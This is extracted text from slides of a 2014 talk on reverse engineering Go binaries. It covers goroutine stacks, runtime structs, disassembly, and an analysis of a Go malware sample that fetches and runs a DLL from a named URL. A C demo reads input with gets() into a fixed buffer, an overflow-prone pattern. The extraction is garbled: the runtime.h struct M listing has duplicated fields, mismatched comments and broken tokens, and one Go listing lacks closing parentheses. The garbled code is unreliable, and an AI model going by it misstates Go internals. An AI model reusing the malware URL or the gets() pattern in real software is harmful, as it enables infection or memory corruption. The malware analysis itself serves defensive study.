    return fmt.Sprintf("pkg: error parsing %q as int", e.Word)
}
goroutines

• Designed to make concurrency easy to use
• Multiplexes independently executing functions onto a pool of threads
• When a goroutine blocks, run-time moves other goroutines on the same OS thread to a different, runnable thread
• Totally invisible
goroutines (2)

- Segmented stacks are (were!) used
- Stack grows and shrinks as necessary
- Small code block in each function checks stack space, calls `runtime_morestack` if needed
- Will allocate new stack, copy args, continue execution
- Copy args back after finish and free extra stack allocation
- `runtime_morestack` ➔ `runtime_newstack` ➔ `runtime_memmove` ➔ `deferred runtime_lessstack`
- Means: Each goroutine gets a few K of stack, more automatically allocated and freed
- Multiplexing + stack implementation means goroutines cost a few K
- Threads much more expensive (> 1MB each)

See: [http://dave.cheney.net/2013/06/02/why-is-a-goroutines-stack-infinite](http://dave.cheney.net/2013/06/02/why-is-a-goroutines-stack-infinite) for high level discussion
This is 32-bit Windows, fs:14h is available thread local storage

```assembly
.text:0040EE0F
.text:0040EE0F
.text:0040EE16
.text:0040EE18
.text:0040EE1A
.text:0040EE1C
.text:0040EE1E
.text:0040EE20

mov    ecx, large fs:14h
mov    ecx, [ecx]
cmp    esp, [ecx]
ja     short loc_40EE25
xor    edx, edx
xor    eax, eax
call   runtime_morestack
```
/*
 * Per-CPU declaration.
 *
 * "extern register" is a special storage class implemented by 6c, 8c, etc.
 * On the ARM, it is an actual register; elsewhere it is a slot in thread-
 * local storage indexed by a segment register. See zasmhdr in
 * src/cmd/dist/buildruntime.c for details, and be aware that the linker may
 * make further OS-specific changes to the compiler's output. For example,
 * 6l/linux rewrites 0(GS) as -16(FS).
 *
 * Every C file linked into a Go program must include runtime.h so that the
 * C compiler (6c, 8c, etc.) knows to avoid other uses of these dedicated
 * registers. The Go compiler (6g, 8g, etc.) knows to avoid them.
 */

extern register G* g;
extern register M* m; /*usr/local/go/src/pkg/runtime/runtime.h*/
struct G {
    // stackguard0 can be set to StackPreempt as opposed to stackguard
    uintptr stackguard0;  // cannot move - also known to linker, libmach, runtime/cgo
    uintptr stackbase;     // cannot move - also known to libmach, runtime/cgo
    uint32 panicwrap;      // cannot move - also known to linker
    uint32 selgen;         // valid sudog pointer
    Defer* defer;
    Panic* panic;
    Gobuf sched;
    uintptr syscallstack;  // if status==Gsyscall, syscallstack = stackbase to use during gc
    uintptr syscallsp;     // if status==Gsyscall, syscallsp = sched.sp to use during gc
    uintptr syscallpc;     // if status==Gsyscall, syscallpc = sched.pc to use during gc
    uintptr syscallguard;  // if status==Gsyscall, syscallguard = stackguard to use during gc
    uintptr stackguard;    // same as stackguard0, but not set to StackPreempt
    uintptr stack0;
    uintptr stacksize;
    G* alllink;            // on all
    void* param;           // passed parameter on wakeup
    int16 status;
    int64 goid;
    int8* waitreason;      // if status==Gwaiting
    G* schedlink;
    bool ispanic;
    bool issystem;         // do not output in stack dump
    bool isbackground;     // ignore in deadlock detector
    bool preempt;          // preemption signal, duplicates stackguard0 = StackPreempt
    int8 raceignore;       // ignore race detection events
    M* m;                  // for debuggers, but offset not hard-coded
    M* lockedm;
    int32 sig;
    int32 writtenbuf;
    byte* writebuf;
    DeferChunk* dchunk;
    DeferChunk* dchunknext;
    uintptr sigcode0;
    uintptr sigcode1;
    uintptr sigpc;
    uintptr gopc;          // pc of go statement that created this goroutine
    uintptr racectx;
    uintptr end[];
};

/usr/local/go/src/pkg/runtime/runtime.h
struct M
{
    G* g0; // goroutine with scheduling stack
    void* moreargp; // argument pointer for more stack
    Gobuf morebuf; // gobuf arg to morestack

    // Fields not known to debuggers.
    uint32 framesize; // size arguments to morestack
    void* cret; // return value from g
    uint64 moreargp; // for debuggers, but offset not hard-coded
    G* gsignal; // signal-handling G
    void (*restartf)(void); // thread-local storage (for x86 external register)
    G* curg; // current running goroutine
    G* caughtsig; // goroutine running during fatal signal
    P* p; // attached P for executing Go code (nil if not executing Go code)
    P* mstarn; // return value from C
    M* nextwaits; // next M waiting for lock
    uintptr waitsema; // semaphore for parking on locks
    uint32 stackcachepos; // number of cgo calls in total
    uint32 stackcachecnt; // number of cgo calls currently in progress
    CgoMal* cgomal; // stack in use
    M* mcache; // on allmachs
    M* scheidlink; // Return address for Mach IPC (OS X)
    int32 wallport; // number of cgo calls in total
    int32 nogo; // number of cgo calls currently in progress
    Gobuf* arg; // on allmachs
    Note park;
    M* alllink; // on altm
    M* schedlink;
    void* machport; // Return address for Mach IPC (OS X)
    MCache* mcache;
    uint32 stackinuse;
    int32 mallocing;
    int32 throwing;
    int32 gcing;
    int32 locks;
    int32 dying;
    int32 profileh;
    bool spinning;
    bool extram;
    void* createstack[32]; // Stack that created this thread.
    int32 stackcache;
    int32 stackcachehead;
    void* stackcache[StackCacheSize];
    G* lockp;
    unptr createstack[32]; // Stack that created this thread.
    uint32 freg[16]; // flags and Freg[16]
    uint32 freg[16]; // flags and Freg[16]
    uint32 flag; // flags
    uint32 lockp; // locking point compare flags
    int32 locked; // tracking for LockOSThread
    uint32 waitsemacnt; // semaphore for parking on locks
    uint32 waitsemalock;
    GCStats gcstats;
    bool racecall;
    bool needextram;
    void (*waitunlockf)(Lock*);
    void* waitlock;
    void* thread;
    uintptr se=ype_buf; // thread handle
    WinCall wincall; // thread handle
    #ifdef GOOS_windows
    void* thread;
    #endif
    #ifdef GOOS_plan9
    int8* notesig;
    byte* errstr;
    #endif
    SEH* seh;
    unptr end[];

    #ifdef GOS_windows
    void* thread;
    #endif
    #ifdef GOS_plan9
    int8* notesig;
    byte* errstr;
    #endif
    #endif SSM* ssm;
    unptr end[];
}

/usr/local/go/src/pkg/runtime/runtime.h

© 2014 by Golden G. Richard III (@nolaforensix)
static struct {
    char *goarch;
    char *goos;
    char *hdr;
} zasmhdr[] = {
    "386", "windows",
    "#define get_tls(r)   MOVL 0x14(FS), r\n"
    "#define g(r)     0(r)\n"
    "#define m(r)     4(r)\n"
},
    "386", "plan9",
    "// Plan 9 does not have per-process segment descriptors with\n"
    "// which to do thread-local storage. Instead, we will use a\n"
    "// fixed offset from the per-process TOS struct address for\n"
    "// the local storage. Since the process ID is contained in the\n"
    "// TOS struct, we specify an offset for that here as well.\n"
    "#define get_tls(r)   MOVL _tos(SB), r \n"
    "#define g(r)     -8(r)\n"
    "#define m(r)     -4(r)\n"
    "#define procid(r)   48(r)\n"
},
    "386", "linux",
    "// On Linux systems, what we call 0(GS) and 4(GS) for g and m\n"
...
golang 1.3 Change

• Stacks are no longer segmented...
• Now, contiguously allocated new stack
• “Simply” copy old stack to new, larger stack
• Need to fixup pointers to stack location, etc.
• They’ve managed to do that.
• Not a big deal, but points out that you have to adapt to golang executables from different versions of toolchain
• Same idea—“infinite” stack
But how easy is it to hack and drink beer at the same time?
package main

import "fmt"

func drink_beer(c chan string, done chan bool) {
    quit := false
    for ! quit {
        msg := <-c
        if msg == "thirsty" {
            fmt.Println("Drinking beer.")
            c <- "yum"
        } else {
            quit = (msg == "quit")
        }
    }
    fmt.Println("Beer drinking over for today.")
    done <- true
}

func hack_hack_hack(c chan string, done chan bool) {
    for i := 0; i < 10; i++ {
        fmt.Println("Hacking...")
        fmt.Println("Hacking...")
        c <- "thirsty"
        msg := <-c
        fmt.Println(msg)
    }
    fmt.Println("Hacking over for today.")
    c <- "quit"
    done <- true
}

func main() {
    c := make(chan string)
    donebeering := make(chan bool)
    donehacking := make(chan bool)
    fmt.Println("Starting day.")
    go drink_beer(c, donebeering)
    go hack_hack_hack(c, donehacking)
    <-donebeering
    <-donehacking
    fmt.Println("ZZZZZZzzzzzz...")
}
package main
import "fmt"

func main() {
    c := make(chan string)
donebeering := make(chan bool)
donehacking := make(chan bool)
fmt.Println("Starting day."

go drink_beer(c, donebeering)
go hack_hack_hack(c, donehacking)
<-donebeering
<-donehacking
fmt.Println("ZZZZZZZzzzzz..."
}

func hack_hack_hack(c chan string, done chan bool) {
    for i := 0; i < 10; i++ {
        fmt.Println("Hacking...")
        fmt.Println("Hacking...")
        c <- "thirsty"
        msg := <-c
        fmt.Println(msg)
    }
    fmt.Println("Hacking over for today.")
    c <- "quit"
    done <- true
}
func drink_beer(c chan string, done chan bool) {
    quit := false
    for ! quit {
        msg := <-c
        if msg == "thirsty" {
            fmt.Println("Drinking beer.")
            c <- "yum"
        } else {
            quit = (msg == "quit")
        }
    }
    fmt.Println("Beer drinking over for today.")
    done <- true
}
go RE: What’s Different?

• Complex runtime
• Concurrency is expected, rather than rare
goroutines / communication via channels
• First class arrays, strings, etc.
• Completely different calling convention
  – Stack expansion stuff
  – Multiple return values
• Segmented stacks / New stack allocation
defer / panic / recover
  – Dynamic control flow
• ...

© 2014 by Golden G. Richard III (@nolaforensix)
RE go (not RE:)

- Some prerequisites for a good experience
- IDA <= 6.5 has issues
- DWARF segment overwrites code in the __TEXT segment on load, results in trashed disassembly
- IDA folks jumped on this quickly when reported and emailed me a fix
- otool, et al worked (and work) fine on Mac OS X
- Patches incorporated in 6.6—be sure to upgrade
- Still difficult going, but improving
**String Representation: ptr + len**

<table>
<thead>
<tr>
<th>Variable</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6D9</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E0</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E1</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E2</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E3</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E4</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E5</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E6</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E7</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E8</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6E9</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6EA</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6EB</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6EC</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6ED</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6EE</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6EF</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F0</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F1</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F2</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F3</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F4</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F5</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F6</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F7</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F8</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6F9</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6FA</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6FB</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6FC</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6FD</td>
</tr>
<tr>
<td><strong>rodata</strong></td>
<td>00000000000CE6FE</td>
</tr>
</tbody>
</table>

```asm
align 20h
.db 0F0h ; D
.db 0E6h ;
.db 0Ch
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 0
.db 44h ; D
.db 72h ; r
.db 69h ; i
.db 6 Eh ; n
.db 68h ; k
.db 69h ; i
.db 6 Eh ; n
.db 67h ; g
.db 20h
.db 62h ; b
.db 65h ; e
.db 65h ; e
.db 72h ; r
.db 2 Eh ; .
.db 0
```

**DATA XREF:** `main_drink_beer+C2`
hello.go vs. hello.c

Edited versions as handouts
day.go: on Mac OS X

golang 1.3, 64-bit

1 million line IDA listing!

Edited version as handout

Lots of “boilerplate” (library code)

Ignorable as long as it’s really standard
go Malware

• Not much of it yet (AFAWK)
• .NET application posing as Android rooting tool that drops (2) go executables:
  – ppsap.exe
  – adbtool.exe
• We’ll look at the adbtool.exe in a little detail
• Nothing published on internals before—that web link just notes behavior
• But first...
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buf[50], *suffix;
    gets(buf);
    suffix=(strchr(buf,'.'));
    if (suffix) {
        if (!strcmp(suffix,".c")) {
            printf(".c\n");
        } else if (!strcmp(suffix,".php")) {
            printf(".php\n");
        } else if (!strcmp(suffix,".doc")) {
            printf(".doc\n");
        } else if (!strcmp(suffix,".xls")) {
            printf(".xls\n");
        }
    } else {
        printf("C got nothing for ya.\n");
    }
}
```
mov    [esp+78h+Val], offset a_php ; ".php"
mov    eax, [ebp+Str1]
mov    [esp+78h+Buffer], eax ; Str1
call   _strncpy
mov    [esp+78h+Buffer], offset a_php_0 ; ".php
jnz    short loc_40138F
mov    [esp+78h+Buffer], offset a_php_0 ; ".php\n"
call   _printf
jmp    short locret_4013E5

loc_40138F:

mov    [esp+78h+Val], offset a_doc ; ".doc"
mov    eax, [ebp+Str1]
mov    [esp+78h+Buffer], eax ; Str1
call   _strncpy
test   eax, eax
jnz    short loc_4013B4
mov    [esp+78h+Buffer], offset a_doc_0 ; ".doc\n"
call   _printf
jmp    short locret_4013E5

loc_4013B4:

mov    [esp+78h+Val], offset a_xls ; ".xls"
mov    eax, [ebp+Str1]
mov    [esp+78h+Buffer], eax ; Str1
call   _strncpy
test   eax, eax
jnz    short locret_4013E5
mov    [esp+78h+Buffer], offset a_xls_0 ; ".xls\n"
call   _printf
jmp    short locret_4013E5

loc_4013D7;
package main
import "strings"
import "fmt"
func main() {
  var buf string
  fmt.Scanf("%s", &buf)
  if (strings.HasSuffix(buf, ".c")) {
    fmt.Println(".c");
  } else if (strings.HasSuffix(buf, ".php")) {
    fmt.Println(".php")
  } else if (strings.HasSuffix(buf, ".doc")) {
    fmt.Println(".doc")
  } else if (strings.HasSuffix(buf, ".xls")) {
    fmt.Println(".xls")
  } else {
    fmt.Println("Go got nothing for ya.");
  }
}
// HasSuffix tests whether the string s ends with suffix.
func HasSuffix(s, suffix string) bool {
    return len(s) >= len(suffix) && s[len(s)-len(suffix):] == suffix
}
Lots of Detail About Environment in go Executable
Post RE: adbtool Overview

• Doesn’t really do any Android stuff (surprise!)
• Uses goroutines (hurray!)
• Uses deferred functions (hurray!)
• Uses channels for communication (hurray!)
• Uses enough standard lib stuff to be a good place to start understanding “harder”
  go RE
• Tries to download and execute Windows DLL
  – Written in C (boring) from http://sourceslang.iwebs.ws/downs/zdx.tgz
• Outputs misspelled Dalvik-y msg, etc.
main_main()

; CODE XREF: main_main+14

loc_401BC6:

sub esp, 28h
mov [esp+28h+var_28.str], offset off_4F6900
mov [esp+28h+var_28.len], 0
mov [esp+28h+var_20], 0
call runtime_makechan
mov edx, [esp+28h+var_1C]
mov ebx, edx
mov [esp+28h+var_14], edx
mov [esp+28h+var_28.str], edx
push offset runtime_closechan
push 4
call runtime_deferproc
pop ecx
pop ecx
test eax, eax
jnz loc_401C9C
mov ebx, [esp+28h+var_14]
mov [esp+28h+var_28.str], ebx
push offset main_zCopyFile
push 4
call runtime_newproc
pop ecx
pop ecx
mov [esp+28h+var_28.str], offset off_4F6900
mov ebx, [esp+28h+var_14]
mov [esp+28h+var_28.len], ebx
call runtime_chanrecv1
lea ebx, [esp+28h+var_20]
mov esi, ebx
lea edi, [esp+28h+var_8]
cld
movsd
movsd
lea esi, [esp+28h+var_8]
lea edi, [esp+28h+var_10]
cld

© 2014 by Golden G. Richard III (@nolaforensix)
main_main()

```
.text:00401C47 movsd
.text:00401C48 movsd
.text:00401C49 mov ebx, [esp+28h+var_C]
.text:00401C4D cmp ebx, 5
.text:00401C50 jnz short loc_401C8D
.text:00401C52 lea esi, off_558D68
.text:00401C58 lea edi, [esp+28h+var_28]
.text:00401C5B cld
.text:00401C5C movsd
.text:00401C5D movsd
.text:00401C5E lea esi, [esp+28h+var_10]
.text:00401C62 lea edi, [esp+28h+var_20]
.text:00401C66 cld
.text:00401C67 movsd
.text:00401C68 movsd
.text:00401C69 call runtime_cmpstring
.text:00401C6E mov ebx, [esp+28h+var_18]
.text:00401C72 cmp ebx, 0
.text:00401C75 jnz short loc_401C8D
.text:00401C77 lea esi, off_5635F0
.text:00401C7D lea edi, [esp+28h+var_28]
.text:00401C80 cld
.text:00401C81 movsd
.text:00401C82 movsd
.text:00401C83 call runtime_printstring
.text:00401C88 call runtime_println
```

“Application Error!”

“wrong”
Error or not... oops.

main_main()

.loc_401C8D:
    lea    esi, [esp+28h+var_10]
    lea    edi, [esp+28h+var_28]
    cld
    movsd
    movsd
    call    main_callDll

.loc_401C9C:
    call    runtime_deferreturn
    add    esp, 28h
    retn
    endp
main_zCopyFile()

http://sourceslang.iwebs.ws/downs/zdx.tgz

"\"SGRTpgk2.tar.bz2"
main_zCopyFile()
current dir (not shown) + "\" + random digits (prev) + ' .~!@#$%^&.銨鎎'

main_zCopyFile()
I’m a computer scientist, Jim, not a linguist.

Or dark, secret, hidden?

Lots of meanings?
main_zCopyFile() sends random name created for DLL

main_CopyFile failure results in sending “wrong”
main_DownFromServer()
These days, results in a crash, because that DLL is no longer being served.
goroutine 1 [running]:
syscall.(*LazyProc).mustFind(0x10fed580, 0x40cd59)
  C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist308287094/go/src/pkg/sysc
ll/dll_windows.go:234 +0x6b
syscall.(*LazyProc).Call(0x10fed580, 0x0, 0x0, 0x0, 0x0, 0x30f947d4, ...)
  C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist308287094/go/src/pkg/sysc
ll/dll_windows.go:247 +0x32
main.callD11(0x10fb5380, 0x3f)
  D:/lotus/code/go/src/ZendAgent/main.go:129 +0xf8
d:/lotus/code/go/src/ZendAgent/main.go:182 +0x8ec

goroutine 2 [syscall]:
created by runtime.main
  C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist308287094/go/src/pkg/runti
me/proc.c:221

goroutine 9 [finalizer wait]:
created by runtime.gc
  C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist308287094/go/src/pkg/runti
me/mgc0.c:882

goroutine 4 [syscall]:
syscall.Syscall6(0x7c80a7bd, 0x5, 0x724, 0x10faf640, 0x10fb9508, ...)
  C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist308287094/go/src/pkg/runti
me/zsyscall_windows_386.c:97 +0x49
syscall.GetQueuedCompletionStatus(0x724, 0x10faf640, 0x10fb9508, 0x10fb9500, 0xf
fffff, ...)
  C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist308287094/go/src/pkg/sysc
ll/zsyscall_windows_386.go:489 +0x76
net.(*resultSrv).Run(0x10fb9440, 0x0)
  C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist308287094/go/src/pkg/net/f
d_windows.go:107 +0x86
created by net.startServer
  C:/Users/ADMINI~1/AppData/Local/Temp/2/bindist308287094/go/src/pkg/net/f
d_windows.go:211 +0xfc

goroutine 5 [select]:
net.(*ioSrv).ProcessRemoteIO(0x10fb9448, 0x0)
The GOTRACEBACK environment variable controls the behavior of a Go program that is crashing and exiting.

- `$GOTRACEBACK=0` suppress all tracebacks
- `$GOTRACEBACK=1` default behavior - show tracebacks but exclude runtime frames
- `$GOTRACEBACK=2` show tracebacks including runtime frames
- `$GOTRACEBACK=crash` show tracebacks including runtime frames, then crash

```go
int32 runtime::gotraceback(bool *crash)
{
    byte *p;

    if(crash != nil)
        *crash = false;
    p = runtime::getenv("GOTRACEBACK");
    if(p == nil || p[0] == '\0')
        return 1;    // default is on
    if(runtime::strcmp(p, (byte*)"crash") == 0) {
        if(crash != nil)
            *crash = true;
        return 2;    // extra information
    }
    return runtime::atoi(p);
}
```

© 2014 by Golden G. Richard III (@nolaforensix)
C hates go
Final Words

• RE is hard but rewarding
• In addition to all the:
  – Hardware issues
  – Assembler
  – OS internals
• Languages are an important aspect, too
• Plus, better understanding of how the language works
• Amazingly, there are languages other than C that don’t suck
• (Python bashing tomorrow @ 10:30a)
golden@cs.uno.edu

golden@arcanealloy.com